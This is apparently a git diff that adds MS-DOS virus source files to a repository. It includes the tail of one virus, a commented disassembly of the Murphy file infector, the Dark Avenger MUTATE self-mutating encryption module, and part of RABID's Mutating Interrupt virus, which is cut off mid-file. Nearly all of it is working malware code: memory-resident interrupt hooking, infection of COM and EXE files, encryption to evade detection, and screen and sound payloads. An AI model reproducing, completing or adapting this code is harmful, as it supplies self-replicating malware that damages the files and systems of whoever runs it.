int_24 + mov word ptr ds:[24h*4],ax + mov word ptr ds:[24h*4+2],cs + les ax,dword ptr ds:[13h*4] + mov word ptr cs:[old13],ax + mov word ptr cs:[old13+2],es + les ax,dword ptr cs:[org13] + mov word ptr ds:[13h*4],ax + mov word ptr ds:[13h*4+2],es + sti + pop es + pop ds + pop ax + ret +ints_on endp + +; +; +; This subroutine restores the int 24h vector +; +; +ints_off proc near + push ax + push ds + push es + xor ax,ax + push ax + pop ds + cli + les ax,dword ptr cs:[old24] + mov word ptr ds:[24h*4],ax + mov word ptr ds:[24h*4+2],es + les ax,dword ptr cs:[old13] + mov word ptr ds:[13h*4],ax + mov word ptr ds:[13h*4+2],es + sti + pop es + pop ds + pop ax + ret +ints_off endp + +; +; +; This subroutine works the int 24h +; +; +int_24 proc far + mov al,3 + iret +int_24 endp + + +; +; +; +; +; +; + +joke proc far + push ax ; + push bx + push cx ; + push dx + push si + push di + push bp + push ds ; + push es + xor ax,ax + push ax + pop ds + mov bh,ds:[462h] + mov ax,ds:[450h] + mov cs:[old_pos],ax + mov ax,cs:[pos_value] + mov word ptr ds:[450h],ax + mov ax,word ptr cs:[spot_buff] + mov bl,ah + mov ah,09h + mov cx,1 + int 10h + call change_pos + call push_spot + mov ax,cs:pos_value + mov word ptr ds:[450h],ax + mov bl,07h + mov ax,0907h + mov cx,1 + int 10h + mov ax,cs:[old_pos] + mov ds:[450h],ax + pop es + pop ds + pop bp + pop di + pop si + pop dx + pop cx + pop bx + pop ax + jmp dword ptr cs:[old_1ch] + + +spot_buff dw ? +pos_value dw 1010h +direction db 0 +old_1ch dd ? +old_pos dw ? + +change_pos proc near + mov ax,cs:[pos_value] + mov bx,word ptr ds:[44ah] + dec bx + test cs:[direction],00000001b + jz @001 + cmp al,bl + jb @002 + xor cs:[direction],00000001b + jmp short @002 +@001: + cmp al,0 + jg @002 + xor cs:[direction],00000001b +@002: + test cs:[direction],00000010b + jz @003 + cmp ah,24 + jb @005 + xor cs:[direction],00000010b + jmp short @005 +@003: + cmp ah,0 + jg @005 + xor cs:[direction],00000010b +@005: + cmp byte ptr cs:spot_buff,20h + je skip_let + cmp byte ptr cs:[pos_value+1],0 + je skip_let + xor cs:[direction],00000010b +skip_let: + test cs:[direction],00000001b + jz @006 + inc byte ptr cs:[pos_value] + jmp short @007 +@006: + dec byte ptr cs:[pos_value] +@007: + test cs:[direction],00000010b + jz @008 + inc byte ptr cs:[pos_value+1] + jmp short @009 +@008: + dec byte ptr cs:[pos_value+1] +@009: + ret +change_pos endp + +push_spot proc near + mov ax,cs:[pos_value] + mov word ptr ds:[450h],ax + mov bh,ds:[462h] + mov ah,08h + int 10h + mov word ptr cs:[spot_buff],ax + ret +push_spot endp +joke endp + + +; +; +; Subroutine for check current time +; +; + +time_kill proc near ; + push ax ; + push bx + push cx ; + push dx + push si + push di + push bp + push ds ; + push es + xor ax,ax ; + push ax + pop ds + cmp word ptr ds:[1Ch*4],offset joke + je next_way + mov ax,ds:[46ch] + mov dx,ds:[46ch+2] + mov cx,0ffffh + div cx + cmp ax,10 + jne next_way + cli + mov bp,word ptr ds:[450h] + call push_spot + mov ds:[450h],bp + les ax,ds:[1ch*4] + mov word ptr cs:[old_1ch],ax + mov word ptr cs:[old_1ch+2],es + mov word ptr ds:[1Ch*4],offset joke + mov word ptr ds:[1Ch*4+2],cs + sti +next_way: + pop es + pop ds + pop bp + pop di + pop si + pop dx + pop cx + pop bx + pop ax + ret +time_kill endp + + +; +; +; Subroutine for multiplication +; +; + +sub_10 proc near + mov dx,10h + mul dx ; dx:ax = reg * ax + ret +sub_10 endp + + +; +; +; ? ? ? ? ? ? ? ? +; +; +zero_regs proc near + + xor ax,ax + xor bx,bx + xor cx,cx + xor dx,dx + xor si,si + xor di,di + xor bp,bp + ret + +zero_regs endp + + +point1: ; + push ds + call kt1 ; +kt1: ; + mov ax,4b00h + 'M' ; kt1 + int 21h + jc stay + jmp go_to_program ; +stay: ; + pop si ; + push si ; + mov di,si ; + xor ax,ax ; Zero register + push ax ; + pop ds ; + les ax,ds:[13h*4] ; (0000:004C=6E5h) Load 32 bit ptr + mov cs:[si-comp13],ax ; (64BB:06F4=9090h) + mov cs:[si-comp13+2],es ; (64BB:06F6=9090h) + les bx,ds:[21h*4] + mov word ptr cs:[di-comp21],bx ; + mov word ptr cs:[di-comp21+2],es ; + mov ax,ds:[102h] ; (0000:0102=0F000h) + cmp ax,0F000h + jne loc_14 ; Jump if not equal + mov dl,80h + mov ax,ds:[106h] ; (0000:0106=0C800h) + cmp ax,0F000h + je loc_7 ; Jump if equal + cmp ah,0C8h + jb loc_14 ; Jump if below + cmp ah,0F4h + jae loc_14 ; Jump if above or = + test al,7Fh ; '' + jnz loc_14 ; Jump if not zero + mov ds,ax + cmp word ptr ds:[0],0AA55h ; (C800:0000=0AA55h) + jne loc_14 ; Jump if not equal + mov dl,ds:[02h] ; (C800:0002=10h) +loc_7: + mov ds,ax + xor dh,dh ; Zero register + mov cl,9 + shl dx,cl ; Shift w/zeros fill + mov cx,dx + xor si,si ; Zero register + +locloop_8: + lodsw ; String [si] to ax + cmp ax,0FA80h + jne loc_9 ; Jump if not equal + lodsw ; String [si] to ax + cmp ax,7380h + je loc_10 ; Jump if equal + jnz loc_11 ; Jump if not zero +loc_9: + cmp ax,0C2F6h + jne loc_12 ; Jump if not equal + lodsw ; String [si] to ax + cmp ax,7580h + jne loc_11 ; Jump if not equal +loc_10: + inc si + lodsw ; String [si] to ax + cmp ax,40CDh + je loc_13 ; Jump if equal + sub si,3 +loc_11: + dec si + dec si +loc_12: + dec si + loop locloop_8 ; Loop if cx > 0 + jmp short loc_14 +loc_13: + sub si,7 + mov cs:[di-comp13],si ; (64BB:06F4=9090h) + mov cs:[di-comp13+2],ds ; (64BB:06F6=9090h) +loc_14: + mov ah,62h + int 21h + mov es,bx + mov ah,49h ; 'I' + int 21h ; DOS Services ah=function 49h, + ; release memory block, es=seg + mov bx,0FFFFh + mov ah,48h ; 'H' + int 21h ; DOS Services ah=function 48h, + ; allocate memory, bx=bytes/16 + sub bx,vir_length/10h+2 + jc go_to_program ; Jump if carry Set + mov cx,es + stc ; Set carry flag + adc cx,bx + mov ah,4Ah ; 'J' + int 21h ; DOS Services ah=function 4Ah, + ; change mem allocation, bx=siz + mov bx,vir_length/10h+1 + stc ; Set carry flag + sbb es:[02h],bx ; (FF95:0002=0B8CFh) + push es + mov es,cx + mov ah,4Ah ; 'J' + int 21h ; DOS Services ah=function 4Ah, + ; change mem allocation, bx=siz + mov ax,es + dec ax + mov ds,ax + mov word ptr ds:[01h],08h ; (FEAD:0001=1906h) + call sub_10 + mov bx,ax + mov cx,dx + pop ds + mov ax,ds + call sub_10 + add ax,ds:[06h] ; (FF95:0006=0C08Eh) + adc dx,0 + sub ax,bx + sbb dx,cx + jc allright ; Jump if carry Set + sub ds:[06h],ax ; (FF95:0006=0C08Eh) +allright: + mov si,di ; + xor di,di ; + push cs ; + pop ds ; + sub si,offset kt1 - offset entry_point ; DS:SI + mov cx,vir_length ; + inc cx ; + rep movsb ; + mov ah,62h + int 21h + dec bx + mov ds,bx + mov byte ptr ds:[0],5ah + mov dx,offset virus ; DX - + xor ax,ax + push ax + pop ds + mov ax,es + sub ax,10h + mov es,ax + cli + mov ds:[21h*4],dx + mov ds:[21h*4+2],es + sti + dec byte ptr ds:[47bh] +go_to_program: ; + pop si ; SI + cmp word ptr cs:[si-compbuff],'ZM' + jnz com_ret + + +exe_ret proc far + + pop ds + mov ax,word ptr cs:[si-comp_code] + mov bx,word ptr cs:[si-compbuff1+2] + push cs + pop cx + sub cx,ax + add cx,bx + push cx + push word ptr cs:[si-compbuff1] + push ds + pop es + call zero_regs ; + ret + +exe_ret endp + + +com_ret: + pop ax + mov ax,cs:[si-compbuff] ; + mov cs:[100h],ax ; + mov ax,cs:[si-compbuff+2] ; + mov cs:[102h],ax ; + mov ax,100h ; CS:100 + push ax ; cs:ax + push cs ; + pop ds ; DS + push ds ; + pop es ; ES + call zero_regs ; + ret ; +endpr: ; + +code ends ; + end entry_point ; + +; +; , ."." 6 +; , .2-13-34 +; , ."" 14 +; , .80-28-26 +; + \ No newline at end of file diff --git a/m/MURPHY-1.ASM b/m/MURPHY-1.ASM new file mode 100755 index 0000000..4572857 --- /dev/null +++ b/m/MURPHY-1.ASM @@ -0,0 +1,673 @@ + + + +L0100: JMP L08D0 + MOV AH,09H + MOV DX,010CH + INT 21H + +L010A: INT 20H + +L010C: DB 'Murphy virus V1.00 (V1277)$' + DB 1961 DUP (1) + +L08D0: JMP L0C51 + + NOP ; \ + NOP ; \ + NOP ; \ +L08D6: MOV AH,09H ; \ + MOV DX,010CH ; > ORIGINAL 24 BYTES + INT 21H ; / +L08DD: INT 20H ; / + ; / +L08DF: DB 'Murphy virus' ; / + +L08EB: DW 2 DUP(0000H) + MOV WORD PTR [DI],0040H ;DB 0C7H,25H,40H,00H + AND [BX+SI],AX ;DB 21H,00H + JNO L08F7 ;DB 71H,00H +L08F7: XOR AL,[BX+DI] ;DB 32H,01H + MOV CH,02H ;DB 0B5H,02H + TEST AL,0CH ;DB 0A8H,0CH + PUSH SI ;DB 56H + ADD AX,0AF9H ;DB 05H,0F9H,0AH + EXTRN L3BC8H_0001H:FAR + JMP L3BC8H_0001H ;DB 0EAH,01H,00H,0C8H,3BH + ADD CH,[BX+SI+200CH] + +L090A: DB 'Hello, I'm Murphy. Nice to meet you friend. ' + DB 'I'm written since Nov/Dec.' + DB ' Copywrite (c)1989 by Lubo & Ian, Sofia, USM Laboratory. ' + +; ******** INT21 DRIVER ******** + + CALL L0C1B ; SOUND SHOW + + CMP AX,4B59H ; SPECIAL FUNCTION ? + JNE L099A + + PUSH BP ; \ + MOV BP,SP ; \ + AND WORD PTR [BP+06H],-02H ; > FLAG C = 0 + POP BP ; / + IRET ; / + +L099A: CMP AH,4BH ; EXEC PROGRAM ? + JE L09B1 + + CMP AX,3D00H ; OPEN FILE ? + JE L09B1 + + CMP AX,6C00H ; OPEN FILE ( MS DOS v4.xx ) + JNE L09AE + CMP BL,00H + JE L09B1 + +L09AE: JMP L0A56 ; NO. ORIGINAL INT21 + +L09B1: PUSH ES ; \ + PUSH DS ; > SAVE REGISTERS +L09B3: DB 'WVURQSP' ; / + + CALL L0B86 ; SET NEW INT24 & INT13 + + CMP AX,6C00H ; \ + JNE L09C4 ; > MS DOS v4.xx NAME -> DS:SI + MOV DX,SI ; / + +L09C4: MOV CX,0080H + + MOV SI,DX ; \ +L09C9: INC SI ; \ + MOV AL,[SI] ; > SEARCH EXTENSION + OR AL,AL ; / + LOOPNZ L09C9 ; / + + SUB SI,+02H + + CMP WORD PTR [SI],4D4FH ; 'OM' ? + JE L09EB + + CMP WORD PTR [SI],4558H ; 'XE' ? + JE L09E2 + +L09DF: JMP SHORT L0A4A + + NOP +L09E2: CMP WORD PTR [SI-02H],452EH ; '.C' ? + JE L09F2 + + JMP SHORT L09DF + +L09EB: CMP WORD PTR [SI-02H],432EH ; '.E' ? + JNE L09DF + +L09F2: MOV AX,3D02H ; OPEN FILE + CALL L0B7F + JB L0A4A + + MOV BX,AX + + MOV AX,5700H ; GET DATE & TIME + CALL L0B7F + + MOV CS:[0121H],CX ; SAVE DATE & TIME + MOV CS:[0123H],DX + + MOV AX,4200H ; MOVE 'FP' TO BEGIN FILE ??? + XOR CX,CX + XOR DX,DX + CALL L0B7F + + PUSH CS ; MY SEGMENT + POP DS + + MOV DX,0103H ; READ ORIGINAL 24 BYTES + MOV SI,DX + MOV CX,0018H + MOV AH,3FH + CALL L0B7F + JB L0A35 + + CMP WORD PTR [SI],5A4DH ; 'EXE' FILE ? + JNE L0A32 + + CALL L0A5B ; INFECT 'EXE' FILE + JMP SHORT L0A35 + +L0A32: CALL L0B2B ; INFECT 'COM' FILE + +L0A35: MOV AX,5701H ; SET ORIGINAL DATE & TIME + MOV CX,CS:[0121H] + MOV DX,CS:[0123H] + CALL L0B7F + + MOV AH,3EH ; CLOSE FILE + + CALL L0B7F ; RESTORE INT13 & INT24 + +L0A4A: CALL L0BC3 + +L0A4D: DB 'X[YZ]^_' ; RESTORE REGISTERS + POP DS + POP ES + +L0A56: JMP DWORD PTR CS:[0129H] ; ORIGINAL INT21 + +; ******** INFECT 'EXE' PROGRAM ******** + +L0A5B: MOV CX,[SI+16H] ; CS SEGMENT + + ADD CX,[SI+08H] ; + HEADER SIZE + + MOV AX,0010H ; PARA -> BYTES + MUL CX + + ADD AX,[SI+14H] ; DX:AX = START FILE + ADC DX,+00H + + PUSH DX ; SAVE START FILE OFFSET + PUSH AX + + MOV AX,4202H ; MOVE FP TO END FILE + XOR CX,CX ; (GET FILE SIZE) + XOR DX,DX + CALL L0B7F + + CMP DX,+00H ; SIZE < 1277 ??? + JNE L0A88 + CMP AX,04FDH + NOP + JNB L0A88 + + POP AX ; QUIT + POP DX + JMP L0B0D + +L0A88: MOV DI,AX ; SAVE FILE SIZE + MOV BP,DX + + POP CX ; CALC CODE SIZE + SUB AX,CX + POP CX + SBB DX,CX + + CMP WORD PTR [SI+0CH],+00H ; HIGH FILE ? + JE L0B0D + + CMP DX,+00H ; CODE SIZE = 1277 + JNE L0AA3 + CMP AX,04FDH + NOP + JE L0B0D + +L0AA3: MOV DX,BP ; FILE SIZE + MOV AX,DI + + PUSH DX ; SAVE FILE SIZE + PUSH AX + + ADD AX,04FDH ; CALC NEW FILE SIZE + NOP + ADC DX,+00H + + MOV CX,0200H ; CALC FILE SIZE FOR HEADER + DIV CX + + LES DI,DWORD PTR [SI+02H] ; SAVE OLD CODE SIZE + MOV CS:[0125H],DI + MOV CS:[0127H],ES + + MOV [SI+02H],DX ; SAVE NEW CODE SIZE + CMP DX,+00H + JE L0ACB + INC AX +L0ACB: MOV [SI+04H],AX + + POP AX ; RESTORE ORIGINAL FILE SIZE + POP DX + + CALL L0B0E ; ??? + + SUB AX,[SI+08H] + + LES DI,DWORD PTR [SI+14H] ; SAVE OLD CS:IP + MOV DS:[011BH],DI + MOV DS:[011DH],ES + + MOV [SI+14H],DX ; SET NEW CS:IP + MOV [SI+16H],AX + + MOV WORD PTR DS:[011FH],AX ; SAVE OFFSET + + MOV AX,4202H ; MOVE FP TO END FILE + XOR CX,CX + XOR DX,DX + CALL L0B7F + + CALL L0B1F ; WRITE CODE + JB L0B0D + + MOV AX,4200H ; MOVE FP TO BEGIN FILE + XOR CX,CX + XOR DX,DX + CALL L0B7F + + MOV AH,40H ; WRITE HEADER + MOV DX,SI + MOV CX,0018H + CALL L0B7F + +L0B0D: RET + +L0B0E: MOV CX,0004H ; ??? + MOV DI,AX + AND DI,+0FH +L0B16: SHR DX,1 + RCR AX,1 + LOOP L0B16 + MOV DX,DI + RET + +L0B1F: MOV AH,40H ; WRITE VIRUS CODE + MOV CX,04FDH ; SIZE = 1277 + NOP + MOV DX,0100H + JMP SHORT L0B7F + NOP + + +; ******** INFECT 'COM' PROGRAM ******** + +L0B2B: MOV AX,4202H ; MOVE FP TO END FILE + XOR CX,CX + XOR DX,DX + CALL L0B7F + + CMP AX,04FDH ; FILE SIZE < 1277 ? + NOP + JB L0B7E + + CMP AX,0FAE2H ; FILE SIZE > 64226 + NOP + JNB L0B7E + + PUSH AX ; SAVE SIZE + + CMP BYTE PTR [SI],0E9H ; 'JUMP' CODE ? + JNE L0B53 + + SUB AX,0500H ; CALC OFFSET FOR VIRUS + NOP + + CMP AX,[SI+01H] ; FILE IS INFECTET ? + JNE L0B53 + + POP AX + JMP SHORT L0B7E + +L0B53: CALL L0B1F ; WRITE VIRUS CODE + JNB L0B5B + + POP AX ; ERROR + JMP SHORT L0B7E + +L0B5B: MOV AX,4200H ; MOVE FP TO BEGIN FILE + XOR CX,CX + XOR DX,DX + CALL L0B7F + + POP AX ; CALC OFFSET FOR JUMP + SUB AX,0003H + + MOV DX,011BH ; DATA ARREA + MOV SI,DX + + MOV BYTE PTR CS:[SI],0E9H ; SAVE JUMP CODE TO ARREA + MOV CS:[SI+01H],AX + + MOV AH,40H ; WRITE FIRST 3 BYTES + MOV CX,0003H + CALL L0B7F + +L0B7E: RET + + +; ******** VIRUS INT21 ******** + +L0B7F: PUSHF + CALL DWORD PTR CS:[0129H] + RET + +; ******** SET NEW INT24 & INT13 ******** + +L0B86: PUSH AX ; SAVE REGISTERS + PUSH DS + PUSH ES + + XOR AX,AX ; SEGMENT AT VECTOR TABLE + PUSH AX + POP DS + + CLI + + LES AX,DWORD PTR DS:[0090H] ; \ + MOV WORD PTR CS:[012DH],AX ; > GET ADDRES INT24 + MOV CS:[012FH],ES ; / + + MOV AX,0418H ; \ + MOV WORD PTR DS:[0090H],AX ; > SET NEW INT24 + MOV DS:[0092H],CS ; / + + LES AX,DWORD PTR DS:[004CH] ; \ + MOV WORD PTR CS:[0135H],AX ; > GET ADDRES INT13 + MOV CS:[0137H],ES ; / + + LES AX,DWORD PTR CS:[0131H] ; \ + MOV WORD PTR DS:[004CH],AX ; > SET NEW INT13 + MOV DS:[004EH],ES ; / + + STI + + POP ES ; RESTORE REGISTERS + POP DS + POP AX + RET + +; ******** RESTORE INT24 & INT13 ******** + +L0BC3: PUSH AX + PUSH DS + PUSH ES + XOR AX,AX + PUSH AX + POP DS + + CLI + + LES AX,DWORD PTR CS:[012DH] ; \ + MOV WORD PTR DS:[0090H],AX ; > RESTORE INT24 + MOV DS:[0092H],ES ; / + + LES AX,DWORD PTR CS:[0135H] ; \ + MOV WORD PTR DS:[004CH],AX ; > RESTORE INT13 + MOV DS:[004EH],ES ; / + + STI + + POP ES + POP DS + POP AX + RET + + +; ******** INT13 DRIVER ******** + +L0BE8: TEST AH,80H ; HARD DISK ? + JE L0BF2 + + JMP DWORD PTR CS:[012DH] ; YES. + +L0BF2: ADD SP,+06H ; POP REGISTERS +L0BF5: DB 'X[YZ^_]' + POP DS + POP ES + PUSH BP + MOV BP,SP + OR WORD PTR [BP+06H],+01H ; FLAG C=1 + POP BP + IRET + + +; ******** SOUOND DRIVER ********* + +L0C07: MOV AL,0B6H + OUT 43H,AL + MOV AX,0064H + OUT 42H,AL + MOV AL,AH + OUT 42H,AL + IN AL,61H + OR AL,03H + OUT 61H,AL + RET + + +; ******** SHOW DRIVER ******** + +L0C1B: PUSH AX ; SAVE REGISTERS + PUSH CX + PUSH DX + PUSH DS + + XOR AX,AX ; DOS ARREA SEGMENT + PUSH AX + POP DS + + MOV AX,WORD PTR DS:[046CH] ; GET TIME + MOV DX,DS:[046EH] + + MOV CX,0FFFFH ; DIVIDE BY 65535 + DIV CX ; 1 HOUR - 65535 TICKS + + CMP AX,000AH ; TEN HOUR ? + JNE L0C37 + + CALL L0C07 ; SHOW + +L0C37: POP DS ; RESTORE REGISTERS + POP DX + POP CX + POP AX + RET + +L0C3C: MOV DX,0010H ; DX:AX = AX * 16 + MUL DX + RET + + +; CLEAR REGISTERS ???? + +L0C42: XOR AX,AX + XOR BX,BX + XOR CX,CX + XOR DX,DX + XOR SI,SI + XOR DI,DI + XOR BP,BP + RET + +L0C51: PUSH DS + + CALL L0C55 ; PUSH ADDRES + +L0C55: MOV AX,4B59H ; I'M IN MEMORY ? + INT 21H +L0C5A: JB L0C5F ; NO. INSERT CODE + + JMP L0D87 ; START FILE + +L0C5F: POP SI ; POP MY ADDRESS + PUSH SI + + MOV DI,SI + + XOR AX,AX ; DS = VECTOR TABLE SEGMENT + PUSH AX + POP DS + + LES AX,DWORD PTR DS:[004CH] ; GET INT13 ADDRESS + MOV CS:[SI+0FCACH],AX + MOV CS:[SI+0FCAEH],ES + + LES BX,DWORD PTR DS:[0084H] ; GET INT21 ADDRESS + MOV CS:[DI+0FCA4H],BX + MOV CS:[DI+0FCA6H],ES + + MOV AX,WORD PTR DS:[0102H] ; SEGMENT OF INT40 + CMP AX,0F000H ; IN ROM BIOS ? + JNE L0CF4 ; NO. NOT HARD DISK IN SYSTEM + + MOV DL,80H + + MOV AX,WORD PTR DS:[0106H] ; SEGMENT OF INT41 + + CMP AX,0F000H ; ROM BIOS ? + JE L0CB1 + + CMP AH,0C8H ; < ROM EXTERNAL ARREA + JB L0CF4 + + CMP AH,0F4H ; > ROM EXTERNAL ARREA + JNB L0CF4 + + TEST AL,7FH + JNE L0CF4 + + MOV DS,AX + + CMP WORD PTR DS:[0000H],0AA55H ; BEGIN ROM MODUL ? + JNE L0CF4 + + MOV DL,DS:[0002H] ; SCANING FOR ORIGINAL INT13 +L0CB1: MOV DS,AX ; ADDRESS + XOR DH,DH + MOV CL,09H + SHL DX,CL + MOV CX,DX + XOR SI,SI +L0CBD: LODSW + CMP AX,0FA80H + JNE L0CCB + LODSW + CMP AX,7380H + JE L0CD6 + JNE L0CE0 +L0CCB: CMP AX,0C2F6H + JNE L0CE2 + LODSW + CMP AX,7580H + JNE L0CE0 +L0CD6: INC SI + LODSW + CMP AX,40CDH + JE L0CE7 + SUB SI,+03H +L0CE0: DEC SI + DEC SI +L0CE2: DEC SI + LOOP L0CBD + JMP SHORT L0CF4 +L0CE7: SUB SI,+07H + MOV CS:[DI+0FCACH],SI + MOV CS:[DI+0FCAEH],DS + +L0CF4: MOV AH,62H ; TAKE 'PSP' SEGMENT + INT 21H + +L0CF8: MOV ES,BX ; FREE MY BLOCK + MOV AH,49H + INT 21H + +L0CFE: MOV BX,0FFFFH ; GET BLOCK SIZE + MOV AH,48H + INT 21H + +L0D05: SUB BX,0051H ; FREE SPACE ? + JB L0D87 + + MOV CX,ES ; CALC NEW BLOCK SIZE + STC + ADC CX,BX + + MOV AH,4AH ; SET NEW SIZE + INT 21H + +L0D14: MOV BX,0050H + NOP + STC + SBB ES:[0002H],BX + PUSH ES + MOV ES,CX + MOV AH,4AH + INT 21H + +L0D25: MOV AX,ES + DEC AX + MOV DS,AX + MOV WORD PTR DS:[0001H],0008H + CALL L0C3C + MOV BX,AX + MOV CX,DX + POP DS + MOV AX,DS + CALL L0C3C + ADD AX,DS:[0006H] + ADC DX,+00H + SUB AX,BX + SBB DX,CX + JB L0D4E + SUB DS:[0006H],AX +L0D4E: MOV SI,DI + XOR DI,DI + PUSH CS + POP DS + SUB SI,0385H + MOV CX,04FDH + NOP + INC CX + REPZ MOVSB + MOV AH,62H + INT 21H + +L0D63: DEC BX + MOV DS,BX + MOV BYTE PTR DS:[0000H],5AH + MOV DX,01B9H + XOR AX,AX + PUSH AX + POP DS + MOV AX,ES + SUB AX,0010H + MOV ES,AX + CLI + MOV DS:[0084H],DX + MOV DS:[0086H],ES + STI + DEC BYTE PTR DS:[047BH] +L0D87: POP SI + CMP WORD PTR CS:[SI+0FC7EH],5A4DH + JNE L0DAE + POP DS + MOV AX,CS:[SI+0FC9AH] + MOV BX,CS:[SI+0FC98H] + PUSH CS + POP CX + SUB CX,AX + ADD CX,BX + PUSH CX + PUSH WORD PTR CS:[SI+0FC96H] + PUSH DS + POP ES + CALL L0C42 + RETF + +L0DAE: POP AX + MOV AX,CS:[SI+0FC7EH] + MOV WORD PTR CS:[0100H],AX + MOV AX,CS:[SI+0FC80H] + MOV WORD PTR CS:[0102H],AX + MOV AX,0100H + PUSH AX + PUSH CS + POP DS + PUSH DS + POP ES + CALL L0C42 + RET + +L0DCD: DW 0000H + + + diff --git a/m/MUTATE.ASM b/m/MUTATE.ASM new file mode 100755 index 0000000..2dab2d4 --- /dev/null +++ b/m/MUTATE.ASM @@ -0,0 +1,188 @@ + page ,132 + name mutate + title MUTATE - A Self-mutating Module for Viruses + .radix 16 + .model tiny + .code + +; This source code is a copyrighted material +; (C) 1990 DARK AVENGER + + org 100 + +timer equ 46C + +start: + jmp prog + +; v_entry. +; , JMP-a, +; 100, .. .COM . + +v_entry: + xchg ax,bp + mov si,100 + inc si + add si,[si] + mov di,si + xor dx,dx + mov cx,(top-encrypt)/2-1 + push cx +calcgen: + xor dx,[si+encrypt-v_entry+2] + org $-1 + inc si + inc si + dec cx + jns calcgen + pop ax +decrypt: + xor [di+encrypt-v_entry+2],dx + org $-1 + inc di + inc di + dec ax + jns decrypt +encrypt: + xchg si,si ; + xchg dx,dx + add si,encrypt-top+2 + dec dx + +; . : +; DX = - +; SI = v_entry. + +; . . . +prog: + push ds + xor ax,ax + mov ds,ax + mov ax,ds:[timer] + pop ds + call mutate + mov ax,4C00 + int 21 + +; . : +; AX = ( 0:46C) + +mutate: + cld + xor dx,dx + push cs + pop ds + mov cx,90 + div cx + call getcode + mov ds:[15],al + call getcode + mov ds:[1E],al + xchg ax,dx + mov dl,6 + div dl + mov si,offset muttbl + mov bx,offset xlatbl1 + call buildblk + mov [si],al + inc si + mov bx,offset xlatbl2 + call buildblk2 + mov bx,offset xlatbl3 + call buildblk2 + mov bx,offset muttbl-1 + mov si,offset xlatdat + mov cx,xlatbl1-xlatdat +nextgen: + lodsb + test al,al + jz cantchg + push ax + and al,111b + xlat + mov ah,0F8 + xchg ax,dx + pop ax + push cx + mov cl,3 + shr al,cl + jz skipxlat + xlat + shl al,cl + jz skipxlat + xlat + shl al,cl + or dl,al + mov dh,0c0 +skipxlat: + pop cx + and [si-(xlatdat+1-v_entry)],dh + or [si-(xlatdat+1-v_entry)],dl +cantchg: + loop nextgen + ret + +buildblk2: + mov al,ah +buildblk: + shr al,1 + mov dl,al + push ax + adc al,1 + cmp al,3 + jb setblk + sub al,3 +setblk: + or dl,al + xlat + mov [si],al + inc si + pop ax + xlat + mov [si],al + inc si + mov al,dl + xor al,3 + xlat + ret + +getcode: + shr dx,1 + mov al,79 + jnc got + or al,100b +got: + ret + +xlatdat db 0,4,0,0,4,0,26,0 + db 2c,0,9,2,0,0,2,0 + db 0e,0,4,4,2,0,0,3 + db 0,0f,0,5,5,3,0,0 + db 0,4,0,1 + +xlatbl1 db 0,1,2 +xlatbl2 db 3,6,7 +xlatbl3 db 7,4,5 + +chksum dw 1A03 ; . +; ! . +; XOR- 16- encrypt top. +; , chksum +; . errnz . +; encrypt top , +; . + +; + +; . . . + +top: + .errnz (encrypt-v_entry) mod 2 + .errnz (top-encrypt) mod 4-2 + .errnz (top-v_entry) mod 2 + .errnz (chksum-v_entry) mod 2 + +muttbl db 7 dup(?) ; mutate + + end start + \ No newline at end of file diff --git a/m/MUTINT.ASM b/m/MUTINT.ASM new file mode 100755 index 0000000..f57f6e3 --- /dev/null +++ b/m/MUTINT.ASM @@ -0,0 +1,416 @@ +;**************************************************************************** +;* The Mutating Interrupt Virus -Soltan Griss- +;* [RABID] -=+ Front 242 +=- +;* +;* +;* Well this is my Third Release of many to come. This virus uses the latest +;* of RABID's new inventions the "MUTATING INTERRUPT", what it does (nothing +;* to special) is Mutate all int 21h (CD 21) to a random interrupt. +;* Then before executation it will change it back to INT 21. +;* +;* Alot of people are wondering if RABID is Still around. YES. Wea reback and +;* Kicking, although right now we have limited members, it soon will change. +;* +;* +;* Many Thanks go out to Data Disruptor, who originally came up with the +;* interrupt swapping idea. +;* +;* +;* SOON TO COME: Why use conventional memory when do has left so many holes?? +;* Find out soon in one of our next RELEASES. +;* +;* A Real Mutating virus with moveable modular segments!!! +;* +;* +;* +;* A Word of thanks go out to. +;* +;* YAM- Keep up the hard work. Alot of improvement come with time. +;* Admiral Bailey. Waitinf for the next version of the IVP! +;* +;* +;**************************************************************************** + + + +seg_a segment + assume cs:seg_a,ds:seg_a,es:nothing + + org 100h +start: db 0E9h,06,00,42h,0f2h ; Jump to virus + F242 id string + + +vstart equ $ +key: dw 0 ;encryptor key. +i_key: dw 12cdh ;Interrupt key + call code_start + + +code_start: + pop si + sub si,offset code_start ;get current infected files size + mov bp,si + + +crypter: + mov cx,(vend-check) + mov dh,byte ptr cs:[key+bp] + mov si,offset check + add si,bp +loo: mov ah,byte ptr cs:[si] ;Decrypt the virus + xor ah,dh + mov byte ptr cs:[si],ah + inc si + loop loo + +code: + + mov si,offset check + mov di,offset check + mov cx,(vend-check) +looper: mov ax,[si] + cmp ax,word ptr cs:[i_key+bp] ;Change interrupts back + je change +doit: mov [di],ax + inc si + inc di + loop looper + jmp check +change: mov ax,21cdh + jmp doit + +info: db 'The Mutating Interrupt Virus ' + db 'RABID`S Back and Kicking in `93 -Soltan Griss-' + +check: + mov ax,0F242h ;Check to see if we are already + int 12h + cmp bx,0F242h ;resident + je Already_here +load: ;Virus Id string so they NAME it + ; RIGHT!!!! + push cs + pop ds + + + mov ah,49h ;Release current Memory block + int 12h + + + mov ah,48h ;Request Hugh size of memory + mov bx,0ffffh ;returns biggest size + int 12h + + + + mov ah,4ah + sub bx,(vend-vstart+15)/16+(vend-vstart+15)/16+1 + jc exit ;subtract virus size + int 12h + + + mov ah,48h + mov bx,(vend-vstart+15)/16+(vend-vstart+15)/16 + int 12h + jc exit ;request last XXX pages + ;allocate it to virus + + dec ax + + push es + + mov es,ax + + mov byte ptr es:[0],'Z' ;make DOS the owner + mov word ptr es:[1],8 + mov word ptr es:[3],(vend-vstart+15)/8 ;put size here + sub word ptr es:[12h],(vend-vstart+15)/8 ;sub size from current + ;memory + inc ax + + + lea si,[bp+offset vstart] ;copy it to new memory block + xor di,di + mov es,ax + mov cx,(vend-vstart+5)/2 + cld + rep movsw + + + xor ax,ax + mov ds,ax + push ds + lds ax,ds:[21h*4] ;swap vectors manually + mov word ptr es:[old_21-vstart],ax + mov word ptr es:[old_21-vstart+2],ds + pop ds + mov word ptr ds:[21h*4],(new_21-vstart) + mov ds:[21h*4+2],es + +exit: +already_here: + push cs + pop ds + push cs + pop es + mov si,offset buffer ;Copy five bytes back! + add si,Bp + mov di,100h + movsw + movsw + movsb + mov bp,100h + jmp bp + + + +;*************************************************************************** + +old_21: dw 0h,0h +buffer db 0cdh,20h,0,0,0 ;Buffer to hold the infected +old_date: dw 0 ;files 5 bytes 